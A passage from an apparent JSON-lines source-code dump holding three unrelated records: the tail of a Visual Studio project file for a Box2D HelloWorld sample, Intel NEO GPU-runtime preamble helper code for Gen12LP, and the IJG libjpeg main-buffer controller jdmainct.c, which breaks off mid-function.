<LinkIncremental Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">true</LinkIncremental>\n <OutDir Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">bin\\x64\\Debug\\</OutDir>\n <IntDir Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">obj\\x64\\Debug\\HelloWorld\\</IntDir>\n <TargetName Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">HelloWorld</TargetName>\n <LinkIncremental Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">true</LinkIncremental>\n <OutDir Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">bin\\x32\\Release\\</OutDir>\n <IntDir Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">obj\\x32\\Release\\HelloWorld\\</IntDir>\n <TargetName Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">HelloWorld</TargetName>\n <LinkIncremental Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</LinkIncremental>\n <OutDir Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">bin\\x64\\Release\\</OutDir>\n <IntDir Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">obj\\x64\\Release\\HelloWorld\\</IntDir>\n <TargetName Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">HelloWorld</TargetName>\n <LinkIncremental Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</LinkIncremental>\n </PropertyGroup>\n <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n <ClCompile>\n <Optimization>Disabled</Optimization>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n <PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <MinimalRebuild>true</MinimalRebuild>\n <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>\n <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>\n <FunctionLevelLinking>true</FunctionLevelLinking>\n <PrecompiledHeader>\n </PrecompiledHeader>\n <WarningLevel>Level3</WarningLevel>\n <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n <ProgramDataBaseFileName>$(OutDir)HelloWorld.pdb</ProgramDataBaseFileName>\n </ClCompile>\n <ResourceCompile>\n <PreprocessorDefinitions>WIN32;_CRT_SECURE_NO_WARNINGS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n </ResourceCompile>\n <Link>\n <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n <OutputFile>$(OutDir)HelloWorld.exe</OutputFile>\n <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n <SubSystem>Console</SubSystem>\n <GenerateDebugInformation>true</GenerateDebugInformation>\n <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>\n <TargetMachine>MachineX86</TargetMachine>\n </Link>\n </ItemDefinitionGroup>\n <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n <ClCompile>\n <Optimization>Disabled</Optimization>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n <PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <MinimalRebuild>true</MinimalRebuild>\n <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>\n <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>\n <FunctionLevelLinking>true</FunctionLevelLinking>\n <PrecompiledHeader>\n </PrecompiledHeader>\n <WarningLevel>Level3</WarningLevel>\n <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n <ProgramDataBaseFileName>$(OutDir)HelloWorld.pdb</ProgramDataBaseFileName>\n </ClCompile>\n <ResourceCompile>\n <PreprocessorDefinitions>WIN32;_CRT_SECURE_NO_WARNINGS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n </ResourceCompile>\n <Link>\n <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n <OutputFile>$(OutDir)HelloWorld.exe</OutputFile>\n <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n <SubSystem>Console</SubSystem>\n <GenerateDebugInformation>true</GenerateDebugInformation>\n <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>\n <TargetMachine>MachineX64</TargetMachine>\n </Link>\n </ItemDefinitionGroup>\n <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n <ClCompile>\n <Optimization>Full</Optimization>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n <PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <MinimalRebuild>false</MinimalRebuild>\n <StringPooling>true</StringPooling>\n <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n <FunctionLevelLinking>true</FunctionLevelLinking>\n <PrecompiledHeader>\n </PrecompiledHeader>\n <WarningLevel>Level3</WarningLevel>\n <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n </ClCompile>\n <ResourceCompile>\n <PreprocessorDefinitions>WIN32;_CRT_SECURE_NO_WARNINGS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n </ResourceCompile>\n <Link>\n <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n <OutputFile>$(OutDir)HelloWorld.exe</OutputFile>\n <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n <SubSystem>Console</SubSystem>\n <GenerateDebugInformation>false</GenerateDebugInformation>\n <OptimizeReferences>true</OptimizeReferences>\n <EnableCOMDATFolding>true</EnableCOMDATFolding>\n <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>\n <TargetMachine>MachineX86</TargetMachine>\n </Link>\n </ItemDefinitionGroup>\n <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n <ClCompile>\n <Optimization>Full</Optimization>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n <PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <MinimalRebuild>false</MinimalRebuild>\n <StringPooling>true</StringPooling>\n <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n <FunctionLevelLinking>true</FunctionLevelLinking>\n <PrecompiledHeader>\n </PrecompiledHeader>\n <WarningLevel>Level3</WarningLevel>\n <DebugInformationFormat>\n </DebugInformationFormat>\n </ClCompile>\n <ResourceCompile>\n <PreprocessorDefinitions>WIN32;_CRT_SECURE_NO_WARNINGS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n <AdditionalIncludeDirectories>..\\..;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n </ResourceCompile>\n <Link>\n <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n <OutputFile>$(OutDir)HelloWorld.exe</OutputFile>\n <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>\n <SubSystem>Console</SubSystem>\n <GenerateDebugInformation>false</GenerateDebugInformation>\n <OptimizeReferences>true</OptimizeReferences>\n <EnableCOMDATFolding>true</EnableCOMDATFolding>\n <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>\n <TargetMachine>MachineX64</TargetMachine>\n </Link>\n </ItemDefinitionGroup>\n <ItemGroup>\n <ClCompile Include=\"..\\..\\HelloWorld\\Helloworld.cpp\">\n </ClCompile>\n </ItemGroup>\n <ItemGroup>\n <ProjectReference Include=\"Box2D.vcxproj\">\n <Project>{98400d17-43a5-1a40-95be-c53ac78e7694}</Project>\n </ProjectReference>\n </ItemGroup>\n <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n <ImportGroup Label=\"ExtensionTargets\">\n </ImportGroup>\n</Project>"} {"text": "/*\n * Copyright (C) 2019-2020 Intel Corporation\n *\n * SPDX-License-Identifier: MIT\n *\n */\n\n#include \"shared/source/command_stream/csr_definitions.h\"\n#include \"shared/source/gen12lp/helpers_gen12lp.h\"\n#include \"shared/source/helpers/engine_node_helper.h\"\n#include \"shared/source/helpers/preamble_bdw_plus.inl\"\n\n#include \"opencl/source/helpers/hardware_commands_helper.h\"\n\n#include \"pipe_control_args.h\"\n#include \"reg_configs_common.h\"\n\nnamespace NEO {\n\ntemplate <>\nuint32_t PreambleHelper<TGLLPFamily>::getL3Config(const HardwareInfo &hwInfo, bool useSLM) {\n uint32_t l3Config = 0;\n\n switch (hwInfo.platform.eProductFamily) {\n case IGFX_TIGERLAKE_LP:\n l3Config = getL3ConfigHelper<IGFX_TIGERLAKE_LP>(useSLM);\n break;\n default:\n l3Config = getL3ConfigHelper<IGFX_TIGERLAKE_LP>(true);\n }\n return l3Config;\n}\n\ntemplate <>\nvoid PreambleHelper<TGLLPFamily>::programPipelineSelect(LinearStream *pCommandStream,\n const PipelineSelectArgs &pipelineSelectArgs,\n const HardwareInfo &hwInfo) {\n\n using PIPELINE_SELECT = typename TGLLPFamily::PIPELINE_SELECT;\n\n if (HardwareCommandsHelper<TGLLPFamily>::isPipeControlPriorToPipelineSelectWArequired(hwInfo)) {\n PipeControlArgs args;\n args.renderTargetCacheFlushEnable = true;\n MemorySynchronizationCommands<TGLLPFamily>::addPipeControl(*pCommandStream, args);\n }\n\n auto pCmd = pCommandStream->getSpaceForCmd<PIPELINE_SELECT>();\n PIPELINE_SELECT cmd = TGLLPFamily::cmdInitPipelineSelect;\n\n auto mask = pipelineSelectEnablePipelineSelectMaskBits | pipelineSelectMediaSamplerDopClockGateMaskBits;\n auto pipeline = pipelineSelectArgs.is3DPipelineRequired ? PIPELINE_SELECT::PIPELINE_SELECTION_3D : PIPELINE_SELECT::PIPELINE_SELECTION_GPGPU;\n\n cmd.setMaskBits(mask);\n cmd.setPipelineSelection(pipeline);\n cmd.setMediaSamplerDopClockGateEnable(!pipelineSelectArgs.mediaSamplerRequired);\n\n Gen12LPHelpers::setAdditionalPipelineSelectFields(&cmd, pipelineSelectArgs, hwInfo);\n\n *pCmd = cmd;\n}\n\ntemplate <>\nvoid PreambleHelper<TGLLPFamily>::addPipeControlBeforeVfeCmd(LinearStream *pCommandStream, const HardwareInfo *hwInfo, aub_stream::EngineType engineType) {\n auto pipeControl = pCommandStream->getSpaceForCmd<PIPE_CONTROL>();\n PIPE_CONTROL cmd = TGLLPFamily::cmdInitPipeControl;\n cmd.setCommandStreamerStallEnable(true);\n if (hwInfo->workaroundTable.waSendMIFLUSHBeforeVFE) {\n if (!EngineHelpers::isCcs(engineType)) {\n cmd.setRenderTargetCacheFlushEnable(true);\n cmd.setDepthCacheFlushEnable(true);\n cmd.setDepthStallEnable(true);\n }\n cmd.setDcFlushEnable(true);\n }\n *pipeControl = cmd;\n}\n\ntemplate <>\nvoid PreambleHelper<TGLLPFamily>::programL3(LinearStream *pCommandStream, uint32_t l3Config) {\n}\n\ntemplate <>\nuint32_t PreambleHelper<TGLLPFamily>::getUrbEntryAllocationSize() {\n return 1024u;\n}\n\ntemplate <>\nvoid PreambleHelper<TGLLPFamily>::programAdditionalFieldsInVfeState(VFE_STATE_TYPE *mediaVfeState, const HardwareInfo &hwInfo) {\n auto &hwHelper = HwHelper::get(hwInfo.platform.eRenderCoreFamily);\n if (!hwHelper.isFusedEuDispatchEnabled(hwInfo)) {\n mediaVfeState->setDisableSlice0Subslice2(true);\n }\n}\n\n// Explicitly instantiate PreambleHelper for TGLLP device family\ntemplate struct PreambleHelper<TGLLPFamily>;\n} // namespace NEO\n"} {"text": "/*\n * jdmainct.c\n *\n * Copyright (C) 1994-1998, Thomas G. Lane.\n * This file is part of the Independent JPEG Group's software.\n * For conditions of distribution and use, see the accompanying README file.\n *\n * This file contains the main buffer controller for decompression.\n * The main buffer lies between the JPEG decompressor proper and the\n * post-processor; it holds downsampled data in the JPEG colorspace.\n *\n * Note that this code is bypassed in raw-data mode, since the application\n * supplies the equivalent of the main buffer in that case.\n */\n\n#define JPEG_INTERNALS\n#include \"jinclude8.h\"\n#include \"jpeglib8.h\"\n\n\n/*\n * In the current system design, the main buffer need never be a full-image\n * buffer; any full-height buffers will be found inside the coefficient or\n * postprocessing controllers. Nonetheless, the main controller is not\n * trivial. Its responsibility is to provide context rows for upsampling/\n * rescaling, and doing this in an efficient fashion is a bit tricky.\n *\n * Postprocessor input data is counted in \"row groups\". A row group\n * is defined to be (v_samp_factor * codec_data_unit / min_codec_data_unit)\n * sample rows of each component. (We require codec_data_unit values to be\n * chosen such that these numbers are integers. In practice codec_data_unit\n * values will likely be powers of two, so we actually have the stronger\n * condition that codec_data_unit / min_codec_data_unit is an integer.)\n * Upsampling will typically produce max_v_samp_factor pixel rows from each\n * row group (times any additional scale factor that the upsampler is\n * applying).\n *\n * The decompression codec will deliver data to us one iMCU row at a time;\n * each iMCU row contains v_samp_factor * codec_data_unit sample rows, or\n * exactly min_codec_data_unit row groups. (This amount of data corresponds\n * to one row of MCUs when the image is fully interleaved.) Note that the\n * number of sample rows varies across components, but the number of row\n * groups does not. Some garbage sample rows may be included in the last iMCU\n * row at the bottom of the image.\n *\n * Depending on the vertical scaling algorithm used, the upsampler may need\n * access to the sample row(s) above and below its current input row group.\n * The upsampler is required to set need_context_rows TRUE at global selection\n * time if so. When need_context_rows is FALSE, this controller can simply\n * obtain one iMCU row at a time from the coefficient controller and dole it\n * out as row groups to the postprocessor.\n *\n * When need_context_rows is TRUE, this controller guarantees that the buffer\n * passed to postprocessing contains at least one row group's worth of samples\n * above and below the row group(s) being processed. Note that the context\n * rows \"above\" the first passed row group appear at negative row offsets in\n * the passed buffer. At the top and bottom of the image, the required\n * context rows are manufactured by duplicating the first or last real sample\n * row; this avoids having special cases in the upsampling inner loops.\n *\n * The amount of context is fixed at one row group just because that's a\n * convenient number for this controller to work with. The existing\n * upsamplers really only need one sample row of context. An upsampler\n * supporting arbitrary output rescaling might wish for more than one row\n * group of context when shrinking the image; tough, we don't handle that.\n * (This is justified by the assumption that downsizing will be handled mostly\n * by adjusting the codec_data_unit values, so that the actual scale factor at\n * the upsample step needn't be much less than one.)\n *\n * To provide the desired context, we have to retain the last two row groups\n * of one iMCU row while reading in the next iMCU row. (The last row group\n * can't be processed until we have another row group for its below-context,\n * and so we have to save the next-to-last group too for its above-context.)\n * We could do this most simply by copying data around in our buffer, but\n * that'd be very slow. We can avoid copying any data by creating a rather\n * strange pointer structure. Here's how it works. We allocate a workspace\n * consisting of M+2 row groups (where M = min_codec_data_unit is the number\n * of row groups per iMCU row). We create two sets of redundant pointers to\n * the workspace. Labeling the physical row groups 0 to M+1, the synthesized\n * pointer lists look like this:\n * M+1 M-1\n * master pointer --> 0 master pointer --> 0\n * 1 1\n * ... ...\n * M-3 M-3\n * M-2 M\n * M-1 M+1\n * M M-2\n * M+1 M-1\n * 0 0\n * We read alternate iMCU rows using each master pointer; thus the last two\n * row groups of the previous iMCU row remain un-overwritten in the workspace.\n * The pointer lists are set up so that the required context rows appear to\n * be adjacent to the proper places when we pass the pointer lists to the\n * upsampler.\n *\n * The above pictures describe the normal state of the pointer lists.\n * At top and bottom of the image, we diddle the pointer lists to duplicate\n * the first or last sample row as necessary (this is cheaper than copying\n * sample rows around).\n *\n * This scheme breaks down if M < 2, ie, min_codec_data_unit is 1. In that\n * situation each iMCU row provides only one row group so the buffering logic\n * must be different (eg, we must read two iMCU rows before we can emit the\n * first row group). For now, we simply do not support providing context\n * rows when min_codec_data_unit is 1. That combination seems unlikely to\n * be worth providing --- if someone wants a 1/8th-size preview, they probably\n * want it quick and dirty, so a context-free upsampler is sufficient.\n */\n\n\n/* Private buffer controller object */\n\ntypedef struct {\n struct jpeg_d_main_controller pub; /* public fields */\n\n /* Pointer to allocated workspace (M or M+2 row groups). */\n JSAMPARRAY buffer[MAX_COMPONENTS];\n\n boolean buffer_full; /* Have we gotten an iMCU row from decoder? */\n JDIMENSION rowgroup_ctr; /* counts row groups output to postprocessor */\n\n /* Remaining fields are only used in the context case. */\n\n /* These are the master pointers to the funny-order pointer lists. */\n JSAMPIMAGE xbuffer[2]; /* pointers to weird pointer lists */\n\n int whichptr; /* indicates which pointer set is now in use */\n int context_state; /* process_data state machine status */\n JDIMENSION rowgroups_avail; /* row groups available to postprocessor */\n JDIMENSION iMCU_row_ctr; /* counts iMCU rows to detect image top/bot */\n} my_main_controller;\n\ntypedef my_main_controller * my_main_ptr;\n\n/* context_state values: */\n#define CTX_PREPARE_FOR_IMCU 0 /* need to prepare for MCU row */\n#define CTX_PROCESS_IMCU 1 /* feeding iMCU to postprocessor */\n#define CTX_POSTPONED_ROW 2 /* feeding postponed row group */\n\n\n/* Forward declarations */\nMETHODDEF(void) process_data_simple_main\n JPP((j_decompress_ptr cinfo, JSAMPARRAY output_buf,\n JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail));\nMETHODDEF(void) process_data_context_main\n JPP((j_decompress_ptr cinfo, JSAMPARRAY output_buf,\n JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail));\n#ifdef QUANT_2PASS_SUPPORTED\nMETHODDEF(void) process_data_crank_post\n JPP((j_decompress_ptr cinfo, JSAMPARRAY output_buf,\n JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail));\n#endif\n\n\nLOCAL(void)\nalloc_funny_pointers (j_decompress_ptr cinfo)\n/* Allocate space for the funny pointer lists.\n * This is done only once, not once per pass.\n */\n{\n my_main_ptr mymain = (my_main_ptr) cinfo->main;\n int ci, rgroup;\n int M = cinfo->min_codec_data_unit;\n jpeg_component_info *compptr;\n JSAMPARRAY xbuf;\n\n /* Get top-level space for component array pointers.\n * We alloc both arrays with one call to save a few cycles.\n */\n mymain->xbuffer[0] = (JSAMPIMAGE)\n (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n (size_t)cinfo->num_components * 2 * SIZEOF(JSAMPARRAY));\n mymain->xbuffer[1] = mymain->xbuffer[0] + cinfo->num_components;\n\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n rgroup = (compptr->v_samp_factor * compptr->codec_data_unit) /\n cinfo->min_codec_data_unit; /* height of a row group of component */\n /* Get space for pointer lists --- M+4 row groups in each list.\n * We alloc both pointer lists with one call to save a few cycles.\n */\n xbuf = (JSAMPARRAY)\n (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n 2 * (size_t)(rgroup * (M + 4)) * SIZEOF(JSAMPROW));\n xbuf += rgroup; /* want one row group at negative offsets */\n mymain->xbuffer[0][ci] = xbuf;\n xbuf += rgroup * (M + 4);\n mymain->xbuffer[1][ci] = xbuf;\n }\n}\n\n\nLOCAL(void)\nmake_funny_pointers (j_decompress_ptr cinfo)\n/* Create the funny pointer lists discussed in the comments above.\n * The actual workspace is already allocated (in main->buffer),\n * and the space for the pointer lists is allocated too.\n * This routine just fills in the curiously ordered lists.\n * This will be repeated at the beginning of each pass.\n */\n{\n my_main_ptr mymain = (my_main_ptr) cinfo->main;\n int ci, i, rgroup;\n int M = cinfo->min_codec_data_unit;\n jpeg_component_info *compptr;\n JSAMPARRAY buf, xbuf0, xbuf1;\n\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n rgroup = (compptr->v_samp_factor * compptr->codec_data_unit) /\n cinfo->min_codec_data_unit; /* height of a row group of component */\n xbuf0 = mymain->xbuffer[0][ci];\n xbuf1 = mymain->xbuffer[1][ci];\n /* First copy the workspace pointers as-is */\n buf = mymain->buffer[ci];\n for (i = 0; i < rgroup * (M + 2); i++) {\n xbuf0[i] = xbuf1[i] = buf[i];\n }\n /* In the second list, put the last four row groups in swapped order */\n for (i = 0; i < rgroup * 2; i++) {\n xbuf1[rgroup*(M-2) + i] = buf[rgroup*M + i];\n xbuf1[rgroup*M + i] = buf[rgroup*(M-2) + i];\n }\n /* The wraparound pointers at top and bottom will be filled later\n * (see set_wraparound_pointers, below). Initially we want the \"above\"\n * pointers to duplicate the first actual data line. This only needs\n * to happen in xbuffer[0].\n */\n for (i = 0; i < rgroup; i++) {\n xbuf0[i - rgroup] = xbuf0[0];\n }\n }\n}\n\n\nLOCAL(void)\nset_wraparound_pointers (j_decompress_ptr cinfo)\n/* Set up the \"wraparound\" pointers at top and bottom of the pointer lists.\n * This changes the pointer list state from top-of-image to the normal state.\n */\n{\n my_main_ptr mymain = (my_main_ptr) cinfo->main;\n int ci, i, rgroup;\n int M = cinfo->min_codec_data_unit;\n jpeg_component_info *compptr;\n JSAMPARRAY xbuf0, xbuf1;\n\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n rgroup = (compptr->v_samp_factor * compptr->codec_data_unit) /\n cinfo->min_codec_data_unit; /* height of a row group of component */\n xbuf0 = mymain->xbuffer[0][ci];\n xbuf1 = mymain->xbuffer[1][ci];\n for (i = 0; i < rgroup; i++) {\n xbuf0[i - rgroup] = xbuf0[rgroup*(M+1) + i];\n xbuf1[i - rgroup] = xbuf1[rgroup*(M+1) + i];\n xbuf0[rgroup*(M+2) + i] = xbuf0[i];\n xbuf1[rgroup*(M+2) + i] = xbuf1[i];\n }\n }\n}\n\n\nLOCAL(void)\nset_bottom_pointers (j_decompress_ptr cinfo)\n/* Change the pointer lists to duplicate the last sample row at the bottom\n * of the image. whichptr indicates which xbuffer holds the final iMCU row.\n * Also sets rowgroups_avail to indicate number of nondummy row groups in row.\n */\n{\n my_main_ptr mymain = (my_main_ptr) cinfo->main;\n int ci, i, rgroup, iMCUheight, rows_left;\n jpeg_component_info *compptr;\n JSAMPARRAY xbuf;\n\n for (ci = 0, compptr = cinfo->comp_info; ci < cinfo->num_components;\n ci++, compptr++) {\n /* Count sample rows in one iMCU row and in one row group */\n iMCUheight = compptr->v_samp_factor * compptr->codec_data_unit;\n rgroup = iMCUheight / cinfo->min_codec_data_unit;\n /* Count nondummy sample rows remaining for this component */\n rows_left = (int) (compptr->downsampled_height % (JDIMENSION) iMCUheight);\n if (rows_left == 0) rows_left = iMCUheight;\n /* Count nondummy row groups. Should get same answer for each component,\n * so we need only do it once.\n */\n if (ci == 0) {\n mymain->rowgroups_avail = (JDIMENSION) ((rows_left-1) / rgroup + 1);\n }\n /* Duplicate the last real sample row rgroup*2 times; this pads out the\n * last partial rowgroup and ensures at least one full rowgroup of context.\n */\n xbuf = mymain->xbuffer[mymain->whichptr][ci];\n for (i = 0; i < rgroup * 2; i++) {\n xbuf[rows_left + i] = xbuf[rows_left-1];\n }\n }\n}\n\n\n/*\n * Initialize for a processing pass.\n */\n\nMETHODDEF(void)\nstart_pass_main (j_decompress_ptr cinfo, J_BUF_MODE pass_mode)\n{\n my_main_ptr mymain = (my_main_ptr) cinfo->main;\n\n switch (pass_mode) {\n case JBUF_PASS_THRU:\n if (cinfo->upsample->need_context_rows) {\n mymain->pub.process_data = process_data_context_main;\n make_funny_pointers(cinfo); /* Create the xbuffer[] lists */\n mymain->whichptr = 0; /* Read first iMCU row into xbuffer[0] */\n mymain->context_state = CTX_PREPARE_FOR_IMCU;\n mymain->iMCU_row_ctr = 0;\n } else {\n /* Simple case with no context needed */\n mymain->pub.process_data = process_data_simple_main;\n }\n mymain->buffer_full = FALSE; /* Mark buffer empty */\n mymain->rowgroup_ctr = 0;\n break;\n#ifdef QUANT_2PASS_SUPPORTED\n case JBUF_CRANK_DEST:\n /* For last pass of 2-pass quantization, just crank the postprocessor */\n mymain->pub.process_data = process_data_crank_post;\n break;\n#endif\n default:\n ERREXIT(cinfo, JERR_BAD_BUFFER_MODE);\n break;\n }\n}\n\n\n/*\n * Process some data.\n * This handles the simple case where no context is required.\n */\n\nMETHODDEF(void)\nprocess_data_simple_main (j_decompress_ptr cinfo,\n JSAMPARRAY output_buf, JDIMENSION *out_row_ctr,\n JDIMENSION out_rows_avail)\n{\n my_main_ptr mymain = (my_main_ptr) cinfo->main;\n JDIMENSION rowgroups_avail;\n\n /* Read input data if we haven't filled the main buffer yet */\n if (! mymain->buffer_full) {\n if (! (*cinfo->codec->decompress_data) (cinfo, mymain->buffer))\n return; /* suspension forced, can do nothing more */\n mymain->buffer_full = TRUE; /* OK, we have an iMCU row to work with */\n }\n\n /* There are always min_codec_data_unit row groups in an iMCU row. */\n rowgroups_avail = (JDIMENSION) cinfo->min_codec_data_unit;\n /* Note: at the bottom of the image, we may pass extra garbage row groups\n * to the postprocessor. The postprocessor has to check for bottom\n * of image anyway (at row resolution), so no point in us doing it too.\n */\n\n /* Feed the postprocessor */\n (*cinfo->post->post_process_data) (cinfo, mymain->buffer,\n &mymain->rowgroup_ctr, rowgroups_avail,\n output_buf, out_row_ctr, out_rows_avail);\n\n /* Has postprocessor consumed all the data yet? If so, mark buffer empty */\n if (mymain->rowgroup_ctr >= rowgroups_avail) {\n mymain->buffer_full = FALSE;\n mymain->rowgroup_ctr = 0;\n }\n}\n\n\n/*\n * Process some data.\n * This handles the case where context rows must be provided.\n */\n\nMETHODDEF(void)\nprocess_data_context_main (j_decompress_ptr cinfo,\n JSAMPARRAY output_buf, JDIMENSION *out_row_ctr,\n JDIMENSION out_rows_avail)\n{\n my_main_ptr mymain = (my_main_ptr) cinfo->main;\n\n /* Read input data if we haven't filled the main buffer yet */\n if (! mymain->buffer_full) {\n if (! (*cinfo->codec->decompress_data) (cinfo,\n mymain->xbuffer[mymain->whichptr]))\n return; /* suspension forced, can do nothing more */\n mymain->buffer_full = TRUE; /* OK, we have an iMCU row to work with */\n mymain->iMCU_row_ctr++; /* count rows received */\n }\n\n /* Postprocessor typically will not swallow all the input data it is handed\n * in one call (due to filling the output buffer first). Must be prepared\n * to exit and restart. This switch lets us keep track of how far we got.\n * Note that each case falls through to the next on successful completion.\n */\n switch (mymain->context_state) {\n case CTX_POSTPONED_ROW:\n /* Call postprocessor using previously set pointers for postponed row */\n (*cinfo->post->post_process_data) (cinfo, mymain->xbuffer[mymain->whichptr],\n &mymain->rowgroup_ctr, mymain->rowgroups_avail,\n output_buf, out_row_ctr, out_rows_avail);\n if (mymain->rowgroup_ctr < mymain->rowgroups_avail)\n return; /* Need to suspend */\n mymain->context_state = CTX_PREPARE_FOR_IMCU;\n if (*out_row_ctr >= out_rows_avail)\n return; /* Postprocessor exactly filled output buf */\n /*FALLTHROUGH*/\n case CTX_PREPARE_FOR_IMCU:\n /* Prepare to process first M-1 row groups of this iMCU row */\n mymain->rowgroup_ctr = 0;\n mymain->rowgroups_avail = (JDIMENSION) (cinfo->min_codec_data_unit - 1);\n /* Check for bottom of image: if so, tweak pointers to \"duplicate\"\n * the last sample row, and adjust rowgroups_avail to ignore padding rows.\n */\n if (mymain->iMCU_row_ctr == cinfo->total_iMCU_rows)\n set_bottom_pointers(cinfo);\n mymain->context_state = CTX_PROCESS_IMCU;\n /*FALLTHROUGH*/\n case CTX_PROCESS_IMCU:\n /* Call postprocessor using previously set pointers */\n (*cinfo->post->post_process_data) (cinfo, mymain->xbuffer[mymain->whichptr],\n &mymain->rowgroup_ctr, mymain->rowgroups_avail,\n output_buf, out_row_ctr, out_rows_avail);\n if (mymain->rowgroup_ctr < mymain->rowgroups_avail)\n return; /* Need to suspend */\n /* After the first iMCU, change wraparound pointers to normal state */\n if (mymain->iMCU_row_ctr == 1)\n set_wraparound_pointers(cinfo);\n /* Prepare to load new iMCU row using other xbuffer list */\n mymain->whichptr ^= 1; /* 0=>1 or 1=>0 */\n mymain->buffer_full = FALSE;\n /* Still need to process last row group of this iMCU row, */\n /* which is saved at index M+1 of the other xbuffer */\n mymain->rowgroup_ctr = (JDIMENSION) (cinfo->min_codec_data_unit + 1);\n mymain->rowgroups_avail = (JDIMENSION) (cinfo->min_codec_data_unit + 2);\n mymain->context_state = CTX_POSTPONED_ROW;\n }\n}\n\n\n/*\n * Process some data.\n * Final pass of two-pass quantization: just call the postprocessor.\n * Source data will be the postprocessor controller's internal buffer.\n */\n\n#ifdef QUANT_2PASS_SUPPORTED\n\nMETHODDEF(void)\nprocess_data_crank_post (j_decompress_ptr cinfo,\n JSAMPARRAY output_buf, JDIMENSION *out_row_ctr,\n JDIMENSION out_rows_avail)\n{\n (*cinfo->post->post_process_data) (cinfo, (JSAMPIMAGE) NULL,\n (JDIMENSION *) NULL, (JDIMENSION) 0,\n output_buf, out_row_ctr, out_rows_avail);\n}\n\n#endif /* QUANT_2PASS_SUPPORTED */\n\n\n/*\n * Initialize main buffer controller.\n */\n\nGLOBAL(void)\njinit_d_main_controller (j_decompress_ptr cinfo, boolean need_full_buffer)\n{\n my_main_ptr mymain;\n int ci, rgroup, ngroups;\n jpeg_component_info *compptr;\n\n mymain = (my_main_ptr)\n (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n SIZEOF(my_main_controller));\n cinfo->main = (struct jpeg_d_main_controller *) mymain;\n mymain->pub.start_pass = start_pass_main;\n\n if (need_full_buffer) /* shouldn't happen */\n ERREXIT(cinfo, 